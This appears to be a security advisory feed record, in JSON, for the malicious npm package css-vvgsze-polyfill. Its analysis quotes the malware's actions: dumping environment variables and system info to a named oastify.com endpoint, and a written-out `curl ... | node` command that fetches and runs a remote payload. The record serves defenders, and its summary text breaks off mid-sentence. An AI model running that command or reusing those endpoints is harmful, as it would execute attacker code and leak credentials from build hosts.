{"items":[{"id":"NVI-00010852","kind":"supply_chain_event","title":"Malicious code in css-vvgsze-polyfill (npm)","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-hcp6-vwm8-q8x9"],"plain_summary":"GitHub lists this malware advisory for css-vvgsze-polyfill. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-2d7eb59a8cb4e5fe77e1ff20c342a236"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-2d7eb59a8cb4e5fe77e1ff20c342a236","url":"https://github.com/advisories/GHSA-hcp6-vwm8-q8x9","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-hcp6-vwm8-q8x9","publisher":"GitHub Advisory Database","observed_at":"2026-10-31T23:13:05.881Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-2d7eb59a8cb4e5fe77e1ff20c342a236"],"technology":"css-vvgsze-polyfill","known_exclusions":[],"conditions_summary":"## Source: amazon-inspector (242414f6ea61921e2c62a6f4552456c486eee58d10c0aeec8b33d8043751ee59)\nthunderboltRegistry.js runs an IIFE on module require that performs two attacker-benefit actions against the installer. First, it execSyncs `id`, `whoami`, `env`, and `ifconfig`/`ip addr`, then transmits the output along with hostname, platform, and pid as query parameters via fetch to a hardcoded unique-subdomain Burp Collaborator endpoint at https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/. The `env` dump leaks every environment variable, which in CI/build contexts routinely contains cloud credentials, registry tokens, and API keys. Second, it execSyncs `curl -L https://appsecc.com/js | node`, fetching an opaque remote JavaScript payload from an attacker-controlled host and executing it in the Node process, yielding full remote code execution on the installer host. The package presents itself as a CSS polyfill and exports Proxy no-op stubs mimicking Wix thunderbolt registry symbols (`thunderboltRegistry`, `siteAssetsRegistry`, etc.), a cover-story shape consistent with dependency-confusion or typosquat targeting of a Wix build pipeline so an infected build appears to function whil","public_affected_ranges":["= 1.0.0"]}],"null_published_at":"2026-10-31T23:18:22.401Z","source_updated_at":"2026-10-05T18:34:15.000Z","source_disclosed_at":"2026-10-05T18:34:13.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-10-31T23:13:05.881Z"}],"next_cursor":null,"snapshot_revision":"42594"}